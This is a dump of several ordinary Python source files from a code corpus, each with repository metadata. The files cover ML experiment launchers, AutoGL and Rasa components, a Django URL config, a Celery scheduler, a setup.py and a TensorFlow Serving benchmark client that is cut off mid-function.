import sys import os import os.path import copy import subprocess from operator import mul from random import shuffle from operator import mul from functools import reduce dirs=['stanford_sentiment_binary', 'amazon_reviews', 'ROC_stories', 'stanford_sentiment_binary_100', 'stanford_sentiment_binary_500', 'stanford_sentiment_binary_1000', 'stanford_sentiment_binary_2500', 'amazon_reviews_100', 'amazon_reviews_500', 'amazon_reviews_1000', 'amazon_reviews_2500', 'amazon_reviews_5000', 'amazon_reviews_10000'] n_dirs=len(dirs) WORK = os.environ['HOME'] model_dir = WORK + "/work/soft_patterns/" resource_dir = WORK + "/resources/" def main(args): gpu = None starting_point = 0 indices_to_run = None if len(args) < 4: print("Usage:", args[0], "<dataset> <file name> <n instsances> <gpu (optional)> <starting point = 0> <specific instances to run>") print("Dirs are:") for i in range(n_dirs): print("{}: {}".format(i, dirs[i])) return -1 elif len(args) > 4: gpu = args[4] if len(args) > 5: starting_point = int(args[5]) if len(args) > 6: indices_to_run = set([int(x) for x in args[6].split(",")]) ddir = dirs[int(args[1])] data_dir = resource_dir + "/text_cat/" + ddir n_instances = int(args[3]) file_name = args[2] name = ddir+'_'+".".join(file_name.split("/")[-1].split(".")[:-1]) with open(file_name) as ifh: all_args = [l.rstrip().split() for l in ifh] all_args = [l if len(l) > 1 else [l[0], ''] for l in all_args] n = reduce(mul, [len(x)-1 for x in all_args], 1) print(all_args) print("Got {} different configurations".format(n)) if indices_to_run is None: indices_to_run = x = [i for i in range(starting_point, n)] shuffle(indices_to_run) indices_to_run = set(indices_to_run[:n_instances]) recursive_run_code(all_args, 0, 0, [], data_dir, indices_to_run, name, gpu) def recursive_run_code(all_args, curr_param_index, curr_index, curr_values, data_dir, indices_to_run, name, gpu): if curr_param_index == len(all_args): curr_index += 1 if curr_index in indices_to_run: run_code(all_args, curr_values, data_dir, name, curr_index, gpu) else: for j in all_args[curr_param_index][1:]: curr_values_tmp = copy.deepcopy(curr_values) curr_values_tmp.append(j) curr_index = recursive_run_code(all_args, curr_param_index + 1, curr_index, curr_values_tmp, data_dir, indices_to_run, name, gpu) return curr_index def run_code(all_args, curr_values, data_dir, name, curr_index, gpu): git_tag = os.popen('git log | head -n 1 | cut -d " " -f2 | cut -b -7').read().rstrip() s = name + "." + str(curr_index) odir = model_dir + "/output_"+s args = ['python', '-u', 'soft_patterns.py', "--td", data_dir + "/train.data", "--tl", data_dir + "/train.labels", "--vd", data_dir + "/dev.data", "--vl", data_dir + "/dev.labels", "--model_save_dir", odir] params = [[all_args[i][0], curr_values[i]] for i in range(len(all_args))] params = [item for sublist in params for item in sublist] args += params HOSTNAME = os.environ['HOSTNAME'] if 'HOSTNAME' in os.environ else '' cmd = " ".join(args) if HOSTNAME.endswith('.stampede2.tacc.utexas.edu'): f = gen_cluster_file(s, cmd) os.system('sbatch' + f) else: if gpu != None: os.environ['CUDA_VISIBLE_DEVICES'] = gpu cmd += ' -g' print(cmd) of=model_dir+'logs/'+s + '_' + str(git_tag) + ".out" if os.path.isfile(of): print("Output file "+of+" found. Continuing") else: os.system(cmd+" |& tee "+of) def gen_cluster_file(s, com): f = model_dir + "/runs/"+s print("Writing", f) with open(f, 'w') as ofh: ofh.write("#!/usr/bin/env bash\n") ofh.write("#SBATCH -J "+s+"\n") ofh.write("#SBATCH -o " + model_dir + "/logs/" + s + '_' + str(git_tag) + ".out\n") ofh.write("#SBATCH -p normal\n") ofh.write("#SBATCH -N 1\n") ofh.write("#SBATCH -n 1\n") ofh.write("#SBATCH -t 48:00:00\n") ofh.write("#SBATCH --mail-user=roysch@cs.washington.edu\n") ofh.write("#SBATCH --mail-type=ALL\n") ofh.write("#SBATCH -A TG-DBS110003 # project/allocation number;\n") ofh.write("source activate torch3\n") ofh.write("mpirun " + com + "\n") return f if __name__ == "__main__": sys.exit(main(sys.argv))

true

f732550aa5d382fb0ee404be3464702f9e7a57b7

2,722

py

Python

examples/node_classification.py

dedsec-9/AutoGL

487f2b2f798b9b1363ad5dc100fb410b12222e06

[ "MIT" ]

null

examples/node_classification.py

dedsec-9/AutoGL

487f2b2f798b9b1363ad5dc100fb410b12222e06

[ "MIT" ]

null

examples/node_classification.py

dedsec-9/AutoGL

487f2b2f798b9b1363ad5dc100fb410b12222e06

[ "MIT" ]

null

import yaml import random import torch.backends.cudnn import numpy as np from autogl.datasets import build_dataset_from_name from autogl.solver import AutoNodeClassifier from autogl.module import Acc from autogl.backend import DependentBackend if __name__ == "__main__": from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter parser = ArgumentParser( "auto node classification", formatter_class=ArgumentDefaultsHelpFormatter ) parser.add_argument( "--dataset", default="cora", type=str, help="dataset to use", choices=[ "cora", "pubmed", "citeseer", "coauthor_cs", "coauthor_physics", "amazon_computers", "amazon_photo", ], ) parser.add_argument( "--configs", type=str, default="../configs/nodeclf_gcn_benchmark_small.yml", help="config to use", ) # following arguments will override parameters in the config file parser.add_argument("--hpo", type=str, default="tpe", help="hpo methods") parser.add_argument( "--max_eval", type=int, default=50, help="max hpo evaluation times" ) parser.add_argument("--seed", type=int, default=0, help="random seed") parser.add_argument("--device", default=0, type=int, help="GPU device") args = parser.parse_args() if torch.cuda.is_available(): torch.cuda.set_device(args.device) seed = args.seed # set random seed random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) if torch.cuda.is_available(): torch.cuda.manual_seed(seed) torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False dataset = build_dataset_from_name(args.dataset) label = dataset[0].nodes.data["y" if DependentBackend.is_pyg() else "label"] num_classes = len(np.unique(label.numpy())) configs = yaml.load(open(args.configs, "r").read(), Loader=yaml.FullLoader) configs["hpo"]["name"] = args.hpo configs["hpo"]["max_evals"] = args.max_eval autoClassifier = AutoNodeClassifier.from_config(configs) # train if args.dataset in ["cora", "citeseer", "pubmed"]: autoClassifier.fit(dataset, time_limit=3600, evaluation_method=[Acc]) else: autoClassifier.fit( dataset, time_limit=3600, evaluation_method=[Acc], seed=seed, train_split=20 * num_classes, val_split=30 * num_classes, balanced=False, ) autoClassifier.get_leaderboard().show() acc = autoClassifier.evaluate(metric="acc") print("test acc: {:.4f}".format(acc))

32.404762

81

0.64144

import yaml import random import torch.backends.cudnn import numpy as np from autogl.datasets import build_dataset_from_name from autogl.solver import AutoNodeClassifier from autogl.module import Acc from autogl.backend import DependentBackend if __name__ == "__main__": from argparse import ArgumentParser, ArgumentDefaultsHelpFormatter parser = ArgumentParser( "auto node classification", formatter_class=ArgumentDefaultsHelpFormatter ) parser.add_argument( "--dataset", default="cora", type=str, help="dataset to use", choices=[ "cora", "pubmed", "citeseer", "coauthor_cs", "coauthor_physics", "amazon_computers", "amazon_photo", ], ) parser.add_argument( "--configs", type=str, default="../configs/nodeclf_gcn_benchmark_small.yml", help="config to use", ) parser.add_argument("--hpo", type=str, default="tpe", help="hpo methods") parser.add_argument( "--max_eval", type=int, default=50, help="max hpo evaluation times" ) parser.add_argument("--seed", type=int, default=0, help="random seed") parser.add_argument("--device", default=0, type=int, help="GPU device") args = parser.parse_args() if torch.cuda.is_available(): torch.cuda.set_device(args.device) seed = args.seed random.seed(seed) np.random.seed(seed) torch.manual_seed(seed) if torch.cuda.is_available(): torch.cuda.manual_seed(seed) torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False dataset = build_dataset_from_name(args.dataset) label = dataset[0].nodes.data["y" if DependentBackend.is_pyg() else "label"] num_classes = len(np.unique(label.numpy())) configs = yaml.load(open(args.configs, "r").read(), Loader=yaml.FullLoader) configs["hpo"]["name"] = args.hpo configs["hpo"]["max_evals"] = args.max_eval autoClassifier = AutoNodeClassifier.from_config(configs) if args.dataset in ["cora", "citeseer", "pubmed"]: autoClassifier.fit(dataset, time_limit=3600, evaluation_method=[Acc]) else: autoClassifier.fit( dataset, time_limit=3600, evaluation_method=[Acc], seed=seed, train_split=20 * num_classes, val_split=30 * num_classes, balanced=False, ) autoClassifier.get_leaderboard().show() acc = autoClassifier.evaluate(metric="acc") print("test acc: {:.4f}".format(acc))

true

f732557435b6dc4f0046e12a67a471a54ffca701

982

py

Python

mysite/mysite/urls.py

BAXTOR95/blog_project

a167c9f63a33a5075a001de29720a58624fd1636

[ "MIT" ]

1

2021-03-30T07:51:30.000Z

mysite/mysite/urls.py

BAXTOR95/blog_project

a167c9f63a33a5075a001de29720a58624fd1636

[ "MIT" ]

null

mysite/mysite/urls.py

BAXTOR95/blog_project

a167c9f63a33a5075a001de29720a58624fd1636

[ "MIT" ]

1

2021-01-16T13:48:39.000Z

"""mysite URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include from django.contrib.auth import views urlpatterns = [ path('admin/', admin.site.urls), path('', include('blog.urls')), path('accounts/login/', views.login, name='login'), path('accounts/logout/', views.logout, name='logout', kwargs={'next_page': '/'}), ]

36.37037

77

0.690428

from django.contrib import admin from django.urls import path, include from django.contrib.auth import views urlpatterns = [ path('admin/', admin.site.urls), path('', include('blog.urls')), path('accounts/login/', views.login, name='login'), path('accounts/logout/', views.logout, name='logout', kwargs={'next_page': '/'}), ]

true

f73255f453208be5b49bcb21a383512d9ef8a752

6,524

py

Python

rasa/engine/training/components.py

Next-Trends/rasa

c06dc26b3a57dd1114b60aebcc9ccd3bbb8308d7

[ "Apache-2.0" ]

3,603

2017-05-21T18:34:55.000Z

2019-04-16T11:58:09.000Z

rasa/engine/training/components.py

Next-Trends/rasa

c06dc26b3a57dd1114b60aebcc9ccd3bbb8308d7

[ "Apache-2.0" ]

2,782

2017-05-21T20:36:15.000Z

2019-04-16T14:35:20.000Z

rasa/engine/training/components.py

Next-Trends/rasa

c06dc26b3a57dd1114b60aebcc9ccd3bbb8308d7

[ "Apache-2.0" ]

1,337

2017-05-21T18:10:33.000Z

2019-04-16T09:14:42.000Z

from __future__ import annotations from typing import Any, Dict, Optional, Text, Type import dataclasses import uuid from rasa.engine.caching import Cacheable, TrainingCache from rasa.engine.graph import ExecutionContext, GraphComponent, SchemaNode from rasa.engine.storage.resource import Resource from rasa.engine.storage.storage import ModelStorage from rasa.engine.training import fingerprinting class PrecomputedValueProvider(GraphComponent): """Holds the precomputed values of a `GraphNode` from a previous training. Pre-computed values can either be - values loaded from cache - values which were provided during the fingerprint run by input nodes """ def __init__(self, output: Cacheable): """Initializes a `PrecomputedValueProvider`. Args: output: The precomputed output to return. """ self._output = output @classmethod def create( cls, config: Dict[Text, Any], model_storage: ModelStorage, resource: Resource, execution_context: ExecutionContext, ) -> PrecomputedValueProvider: """Creates instance (see parent class for full docstring).""" return cls(output=config["output"]) def get_value(self) -> Cacheable: """Returns the precomputed output.""" return self._output @classmethod def replace_schema_node(cls, node: SchemaNode, output: Any) -> None: """Updates a `SchemaNode` to use a `PrecomputedValueProvider`. This is for when we want to use the precomputed output value of a node from a previous training in a subsequent training. We replace the class in the `uses` of the node to a be a `PrecomputedValueProvider` configured to return the precomputed value. Args: node: The node to update. output: precomputed cached output that the `PrecomputedValueProvider` will return. """ node.uses = cls node.config = {"output": output} node.fn = cls.get_value.__name__ node.constructor_name = cls.create.__name__ @dataclasses.dataclass class FingerprintStatus: """Holds the output of a `FingerprintComponent` and is used to prune the graph. Attributes: output_fingerprint: A fingerprint of the node's output value. is_hit: `True` if node's fingerprint key exists in the cache, `False` otherwise. """ output_fingerprint: Optional[Text] is_hit: bool def fingerprint(self) -> Text: """Returns the internal fingerprint. If there is no fingerprint returns a random string that will never match. """ return self.output_fingerprint or uuid.uuid4().hex class FingerprintComponent(GraphComponent): """Replaces non-input nodes during a fingerprint run.""" def __init__( self, cache: TrainingCache, config_of_replaced_component: Dict[Text, Any], class_of_replaced_component: Type, ) -> None: """Initializes a `FingerprintComponent`. Args: cache: Training cache used to determine if the run is a hit or not. config_of_replaced_component: Needed to generate the fingerprint key. class_of_replaced_component: Needed to generate the fingerprint key. """ self._cache = cache self._config_of_replaced_component = config_of_replaced_component self._class_of_replaced_component = class_of_replaced_component @classmethod def create( cls, config: Dict[Text, Any], model_storage: ModelStorage, resource: Resource, execution_context: ExecutionContext, ) -> FingerprintComponent: """Creates a `FingerprintComponent` (see parent class for full docstring).""" return cls( cache=config["cache"], config_of_replaced_component=config["config_of_replaced_component"], class_of_replaced_component=config["graph_component_class"], ) def run(self, **kwargs: Any) -> FingerprintStatus: """Calculates the fingerprint key to determine if cached output can be used. If the fingerprint key matches an entry in the cache it means that there has been a previous node execution which matches the same component class, component config and input values. This means that we can potentially prune this node from the schema, or replace it with a cached value before the next graph run. Args: **kwargs: Inputs from all parent nodes. Returns: A `FingerprintStatus` determining if the run was a hit, and if it was a hit also the output fingerprint from the cache. """ fingerprint_key = fingerprinting.calculate_fingerprint_key( graph_component_class=self._class_of_replaced_component, config={ **self._class_of_replaced_component.get_default_config(), **self._config_of_replaced_component, }, inputs=kwargs, ) output_fingerprint = self._cache.get_cached_output_fingerprint(fingerprint_key) return FingerprintStatus( is_hit=output_fingerprint is not None, output_fingerprint=output_fingerprint ) @classmethod def replace_schema_node(cls, node: SchemaNode, cache: TrainingCache) -> None: """Updates a `SchemaNode` to use a `FingerprintComponent`. This is for when we want to do a fingerprint run. During the fingerprint run we replace all non-input nodes with `FingerprintComponent`s so we can determine whether they are able to be pruned or cached before the next graph run without running the actual components. Args: node: The node to update. cache: The cache is needed to determine of there is cache hit for the fingerprint key. """ graph_component_class = node.uses node.uses = cls # We update the node to be "eager" so that `FingerprintComponent.run` sees # ALL the inputs to the node. If it was not eager, we would miss any args used # by the constructor. node.eager = True node.constructor_name = cls.create.__name__ node.fn = cls.run.__name__ node.config = { "config_of_replaced_component": node.config, "cache": cache, "graph_component_class": graph_component_class, }

36.858757

88

0.667689

from __future__ import annotations from typing import Any, Dict, Optional, Text, Type import dataclasses import uuid from rasa.engine.caching import Cacheable, TrainingCache from rasa.engine.graph import ExecutionContext, GraphComponent, SchemaNode from rasa.engine.storage.resource import Resource from rasa.engine.storage.storage import ModelStorage from rasa.engine.training import fingerprinting class PrecomputedValueProvider(GraphComponent): def __init__(self, output: Cacheable): self._output = output @classmethod def create( cls, config: Dict[Text, Any], model_storage: ModelStorage, resource: Resource, execution_context: ExecutionContext, ) -> PrecomputedValueProvider: return cls(output=config["output"]) def get_value(self) -> Cacheable: return self._output @classmethod def replace_schema_node(cls, node: SchemaNode, output: Any) -> None: node.uses = cls node.config = {"output": output} node.fn = cls.get_value.__name__ node.constructor_name = cls.create.__name__ @dataclasses.dataclass class FingerprintStatus: output_fingerprint: Optional[Text] is_hit: bool def fingerprint(self) -> Text: return self.output_fingerprint or uuid.uuid4().hex class FingerprintComponent(GraphComponent): def __init__( self, cache: TrainingCache, config_of_replaced_component: Dict[Text, Any], class_of_replaced_component: Type, ) -> None: self._cache = cache self._config_of_replaced_component = config_of_replaced_component self._class_of_replaced_component = class_of_replaced_component @classmethod def create( cls, config: Dict[Text, Any], model_storage: ModelStorage, resource: Resource, execution_context: ExecutionContext, ) -> FingerprintComponent: return cls( cache=config["cache"], config_of_replaced_component=config["config_of_replaced_component"], class_of_replaced_component=config["graph_component_class"], ) def run(self, **kwargs: Any) -> FingerprintStatus: fingerprint_key = fingerprinting.calculate_fingerprint_key( graph_component_class=self._class_of_replaced_component, config={ **self._class_of_replaced_component.get_default_config(), **self._config_of_replaced_component, }, inputs=kwargs, ) output_fingerprint = self._cache.get_cached_output_fingerprint(fingerprint_key) return FingerprintStatus( is_hit=output_fingerprint is not None, output_fingerprint=output_fingerprint ) @classmethod def replace_schema_node(cls, node: SchemaNode, cache: TrainingCache) -> None: graph_component_class = node.uses node.uses = cls node.eager = True node.constructor_name = cls.create.__name__ node.fn = cls.run.__name__ node.config = { "config_of_replaced_component": node.config, "cache": cache, "graph_component_class": graph_component_class, }

true

f732568bc73bb8b78f184a2659fa83180b3c902d

367

py

Python

10420/10420.py

Keilan/uva

4218328466c3ab2fdf34cdf45fc7a8dea90964bc

[ "MIT" ]

null

10420/10420.py

Keilan/uva

4218328466c3ab2fdf34cdf45fc7a8dea90964bc

[ "MIT" ]

null

10420/10420.py

Keilan/uva

4218328466c3ab2fdf34cdf45fc7a8dea90964bc

[ "MIT" ]

null

import sys n = int(sys.stdin.readline()) countries = {} for _ in range(n): country = sys.stdin.readline().split()[0] #Add to the current value (or 0 if not present) countries[country] = countries.get(country, 0) + 1 #Order keys alphabetically keys = sorted(countries.keys()) for k in keys: print('{} {}'.format(k,countries[k]))

20.388889

55

0.623978

import sys n = int(sys.stdin.readline()) countries = {} for _ in range(n): country = sys.stdin.readline().split()[0] countries[country] = countries.get(country, 0) + 1 keys = sorted(countries.keys()) for k in keys: print('{} {}'.format(k,countries[k]))

true

f73256e3b561a6f89abbc2dc5ccfdde8a6475f77

1,135

py

Python

portia_server/portia_dashboard/tasks.py

rmdes/portia-dashboard

97e698c7232c15eff47d20fd3529251bbd284226

[ "BSD-3-Clause" ]

223

2018-01-22T07:43:58.000Z

2022-03-25T12:52:30.000Z

portia_server/portia_dashboard/tasks.py

rmdes/portia-dashboard

97e698c7232c15eff47d20fd3529251bbd284226

[ "BSD-3-Clause" ]

9

2018-03-17T15:16:26.000Z

2019-11-11T09:35:04.000Z

portia_server/portia_dashboard/tasks.py

rmdes/portia-dashboard

97e698c7232c15eff47d20fd3529251bbd284226

[ "BSD-3-Clause" ]

76

2018-01-22T04:20:00.000Z

2021-11-13T09:53:26.000Z

from __future__ import absolute_import, unicode_literals from django.conf import settings from .models import Schedule from celery.task.schedules import crontab from celery import shared_task from celery import task import logging import time, datetime import requests logger = logging.getLogger('portia_dashboard') @task def schedule_monitor(): schedules = Schedule.objects.all() for schedule in schedules: nowTimestamp = int(time.time() * 1000) if (nowTimestamp - schedule.date_update > schedule.interval * 1000) and (schedule.times > 0 or schedule.times < 0 ) : if schedule.start_time > 0 and schedule.start_time > nowTimestamp: continue schedule_data = { 'project': schedule.project, 'spider': schedule.spider } request = requests.post(settings.SCHEDULE_URL, data=schedule_data) if request.status_code == 200: schedule.date_update = nowTimestamp schedule.times = schedule.times -1 if ( schedule.times > 0 ) else schedule.times schedule.save()

31.527778

125

0.663436

from __future__ import absolute_import, unicode_literals from django.conf import settings from .models import Schedule from celery.task.schedules import crontab from celery import shared_task from celery import task import logging import time, datetime import requests logger = logging.getLogger('portia_dashboard') @task def schedule_monitor(): schedules = Schedule.objects.all() for schedule in schedules: nowTimestamp = int(time.time() * 1000) if (nowTimestamp - schedule.date_update > schedule.interval * 1000) and (schedule.times > 0 or schedule.times < 0 ) : if schedule.start_time > 0 and schedule.start_time > nowTimestamp: continue schedule_data = { 'project': schedule.project, 'spider': schedule.spider } request = requests.post(settings.SCHEDULE_URL, data=schedule_data) if request.status_code == 200: schedule.date_update = nowTimestamp schedule.times = schedule.times -1 if ( schedule.times > 0 ) else schedule.times schedule.save()

true

f7325868460a157150006054167b4d86c914b192

2,535

py

Python

setup.py

uwbmrb/PyNMRSTAR

c6e3cdccb4aa44dfbc3b4e984837a6bcde3cf171

[ "MIT" ]

16

2017-02-02T05:00:50.000Z

2021-05-25T11:13:15.000Z

setup.py

uwbmrb/PyNMRSTAR

c6e3cdccb4aa44dfbc3b4e984837a6bcde3cf171

[ "MIT" ]

29

2016-07-14T21:02:18.000Z

2021-06-26T17:24:07.000Z

setup.py

bmrb-io/PyNMRSTAR

55df5bf7de192e7a6c95f37e0756f09e3f504170

[ "MIT" ]

4

2016-04-14T16:29:49.000Z

2017-02-28T02:01:57.000Z

#!/usr/bin/env python3 import os from setuptools import setup, Extension def get_version(): internal_file_location = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'pynmrstar', '_internal.py') with open(internal_file_location, 'r') as internal_file: for line in internal_file: if line.startswith('__version__'): delim = '"' if '"' in line else "'" return line.split(delim)[1] else: raise RuntimeError("Unable to find version string.") # Should fail if the readme is missing long_des = open('README.rst', 'r').read() cnmrstar = Extension('cnmrstar', sources=['c/cnmrstarmodule.c'], extra_compile_args=["-funroll-loops", "-O3"], optional=True) setup(name='pynmrstar', version=get_version(), packages=['pynmrstar'], ext_modules=[cnmrstar], install_requires=['requests>=2.21.0,<=3'], python_requires='>=3.6', author='Jon Wedell', author_email='wedell@uchc.edu', description='PyNMR-STAR provides tools for reading, writing, modifying, and interacting with NMR-STAR files. ' 'Maintained by the BMRB.', long_description=long_des, long_description_content_type='text/x-rst', keywords=['bmrb', 'parser', 'nmr', 'nmrstar', 'biomagresbank', 'biological magnetic resonance bank'], url='https://github.com/uwbmrb/PyNMRSTAR', license='MIT', package_data={'pynmrstar': ['reference_files/schema.csv', 'reference_files/comments.str', 'reference_files/data_types.csv']}, classifiers=[ 'Development Status :: 6 - Mature', 'Environment :: Console', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Operating System :: MacOS', 'Operating System :: POSIX :: Linux', 'Operating System :: Microsoft :: Windows', 'Topic :: Scientific/Engineering :: Bio-Informatics', 'Topic :: Software Development :: Libraries', 'Topic :: Software Development :: Libraries :: Python Modules' ] )

39.609375

116

0.586588

import os from setuptools import setup, Extension def get_version(): internal_file_location = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'pynmrstar', '_internal.py') with open(internal_file_location, 'r') as internal_file: for line in internal_file: if line.startswith('__version__'): delim = '"' if '"' in line else "'" return line.split(delim)[1] else: raise RuntimeError("Unable to find version string.") # Should fail if the readme is missing long_des = open('README.rst', 'r').read() cnmrstar = Extension('cnmrstar', sources=['c/cnmrstarmodule.c'], extra_compile_args=["-funroll-loops", "-O3"], optional=True) setup(name='pynmrstar', version=get_version(), packages=['pynmrstar'], ext_modules=[cnmrstar], install_requires=['requests>=2.21.0,<=3'], python_requires='>=3.6', author='Jon Wedell', author_email='wedell@uchc.edu', description='PyNMR-STAR provides tools for reading, writing, modifying, and interacting with NMR-STAR files. ' 'Maintained by the BMRB.', long_description=long_des, long_description_content_type='text/x-rst', keywords=['bmrb', 'parser', 'nmr', 'nmrstar', 'biomagresbank', 'biological magnetic resonance bank'], url='https://github.com/uwbmrb/PyNMRSTAR', license='MIT', package_data={'pynmrstar': ['reference_files/schema.csv', 'reference_files/comments.str', 'reference_files/data_types.csv']}, classifiers=[ 'Development Status :: 6 - Mature', 'Environment :: Console', 'Programming Language :: Python :: 3 :: Only', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', 'Operating System :: MacOS', 'Operating System :: POSIX :: Linux', 'Operating System :: Microsoft :: Windows', 'Topic :: Scientific/Engineering :: Bio-Informatics', 'Topic :: Software Development :: Libraries', 'Topic :: Software Development :: Libraries :: Python Modules' ] )

true

f73258eae4d5169d7051cca79bea9e0c5febac33

20

py

Python

upconvert/parser/t/__init__.py

lehaianh1986/schematic-file-converter

ed67274511a5b0e1b378e4e0fd3943ec8a189f43

[ "Apache-2.0" ]

29

2016-05-19T02:04:51.000Z

2021-09-16T06:25:59.000Z

upconvert/parser/t/__init__.py

84ace/schematic-file-converter

a5975a521d842396605c05a9f197bfe088906bb4

[ "Apache-2.0" ]

null

upconvert/parser/t/__init__.py

84ace/schematic-file-converter

a5975a521d842396605c05a9f197bfe088906bb4

[ "Apache-2.0" ]

24

2016-05-19T02:05:00.000Z

2022-01-14T18:20:01.000Z

""" Parser tests """

20

0.55

true

f732596a48cb52363db0bf4dd853807f96f22319

4,315

py

Python

benchmarks/image_recognition/tensorflow_serving/inceptionv3/inference/fp32/image_recognition_benchmark.py

hekaplex/resnet_dl

fc8d4dcc0adffbe22d01d333e6cf5db955f2f011

[ "Apache-2.0" ]

null

benchmarks/image_recognition/tensorflow_serving/inceptionv3/inference/fp32/image_recognition_benchmark.py

hekaplex/resnet_dl

fc8d4dcc0adffbe22d01d333e6cf5db955f2f011

[ "Apache-2.0" ]

null

benchmarks/image_recognition/tensorflow_serving/inceptionv3/inference/fp32/image_recognition_benchmark.py

hekaplex/resnet_dl

fc8d4dcc0adffbe22d01d333e6cf5db955f2f011

[ "Apache-2.0" ]

null

# # -*- coding: utf-8 -*- # # Copyright (c) 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # SPDX-License-Identifier: EPL-2.0 # """Send simulated image data to tensorflow_model_server loaded with ResNet50 or InceptionV3 model. """ from __future__ import print_function import os import random import grpc import numpy as np import sys import tensorflow as tf import tensorflow.compat.v1 as tf_v1 import time from tensorflow_serving.apis import predict_pb2 from tensorflow_serving.apis import prediction_service_pb2_grpc from util import preprocess_image, parse_example_proto tf_v1.disable_eager_execution() tf_v1.app.flags.DEFINE_string('server', 'localhost:8500', 'PredictionService host:port') tf_v1.app.flags.DEFINE_integer('batch_size', 1, 'Batch size to use') tf_v1.app.flags.DEFINE_string('data_dir', '', 'path to images in TF records format') tf_v1.app.flags.DEFINE_string('model', 'resnet50', 'Name of model (resnet50 or inceptionv3).') FLAGS = tf_v1.app.flags.FLAGS def sample_images(image_size): """Pull a random batch of images from FLAGS.data_dir containing TF record formatted ImageNet validation set Returns: ndarray of float32 with shape [FLAGS.batch_size, image_size, image_size, 3] """ sample_file = random.choice(os.listdir(FLAGS.data_dir)) dataset = tf.data.TFRecordDataset(os.path.join(FLAGS.data_dir, sample_file)) dataset = dataset.map(lambda x: parse_example_proto(x)).shuffle(True).batch(FLAGS.batch_size) iterator = dataset.make_one_shot_iterator() next_element = iterator.get_next() with tf.Session() as sess: images, labels = sess.run(next_element) images = np.array([sess.run(preprocess_image(x, FLAGS.model, image_size)) for x in images]) return images def main(_): if FLAGS.model == 'resnet50': image_size = 224 elif FLAGS.model == 'inceptionv3': image_size = 299 else: print('Please specify model as either resnet50 or inceptionv3.') sys.exit(-1) channel = grpc.insecure_channel(FLAGS.server) stub = prediction_service_pb2_grpc.PredictionServiceStub(channel) i = 0 num_iteration = 40 warm_up_iteration = 10 total_time = 0 for _ in range(num_iteration): i += 1 if FLAGS.data_dir: image_np = sample_images(image_size) else: image_np = np.random.rand(FLAGS.batch_size, image_size, image_size, 3).astype(np.float32) if FLAGS.model == 'resnet50': # For ResNet50, rescale to [0, 256] image_np *= 256.0 elif FLAGS.model == 'inceptionv3': # For InceptionV3, rescale to [-1, 1] image_np = (image_np - 0.5) * 2.0 request = predict_pb2.PredictRequest() request.model_spec.name = FLAGS.model request.model_spec.signature_name = 'serving_default' request.inputs['input'].CopyFrom( tf.make_tensor_proto(image_np, shape=[FLAGS.batch_size, image_size, image_size, 3])) start_time = time.time() stub.Predict(request, 10.0) # 10 secs timeout time_consume = time.time() - start_time print('Iteration %d: %.3f sec' % (i, time_consume)) if i > warm_up_iteration: total_time += time_consume time_average = total_time / (num_iteration - warm_up_iteration) print('Average time: %.3f sec' % (time_average)) print('Batch size = %d' % FLAGS.batch_size) if (FLAGS.batch_size == 1): print('Latency: %.3f ms' % (time_average * 1000)) print('Throughput: %.3f images/sec' % (FLAGS.batch_size / time_average)) if __name__ == '__main__': tf_v1.app.run()

35.958333

112

0.672074

from __future__ import print_function import os import random import grpc import numpy as np import sys import tensorflow as tf import tensorflow.compat.v1 as tf_v1 import time from tensorflow_serving.apis import predict_pb2 from tensorflow_serving.apis import prediction_service_pb2_grpc from util import preprocess_image, parse_example_proto tf_v1.disable_eager_execution() tf_v1.app.flags.DEFINE_string('server', 'localhost:8500', 'PredictionService host:port') tf_v1.app.flags.DEFINE_integer('batch_size', 1, 'Batch size to use') tf_v1.app.flags.DEFINE_string('data_dir', '', 'path to images in TF records format') tf_v1.app.flags.DEFINE_string('model', 'resnet50', 'Name of model (resnet50 or inceptionv3).') FLAGS = tf_v1.app.flags.FLAGS def sample_images(image_size): sample_file = random.choice(os.listdir(FLAGS.data_dir)) dataset = tf.data.TFRecordDataset(os.path.join(FLAGS.data_dir, sample_file)) dataset = dataset.map(lambda x: parse_example_proto(x)).shuffle(True).batch(FLAGS.batch_size) iterator = dataset.make_one_shot_iterator() next_element = iterator.get_next() with tf.Session() as sess: images, labels = sess.run(next_element) images = np.array([sess.run(preprocess_image(x, FLAGS.model, image_size)) for x in images]) return images def main(_): if FLAGS.model == 'resnet50': image_size = 224 elif FLAGS.model == 'inceptionv3': image_size = 299 else: print('Please specify model as either resnet50 or inceptionv3.') sys.exit(-1) channel = grpc.insecure_channel(FLAGS.server) stub = prediction_service_pb2_grpc.PredictionServiceStub(channel) i = 0 num_iteration = 40 warm_up_iteration = 10 total_time = 0 for _ in range(num_iteration): i += 1 if FLAGS.data_dir: image_np = sample_images(image_size) else: image_np = np.random.rand(FLAGS.batch_size, image_size, image_size, 3).astype(np.float32) if FLAGS.model == 'resnet50': image_np *= 256.0 elif FLAGS.model == 'inceptionv3': image_np = (image_np - 0.5) * 2.0 request = predict_pb2.PredictRequest() request.model_spec.name = FLAGS.model request.model_spec.signature_name = 'serving_default' request.inputs['input'].CopyFrom( 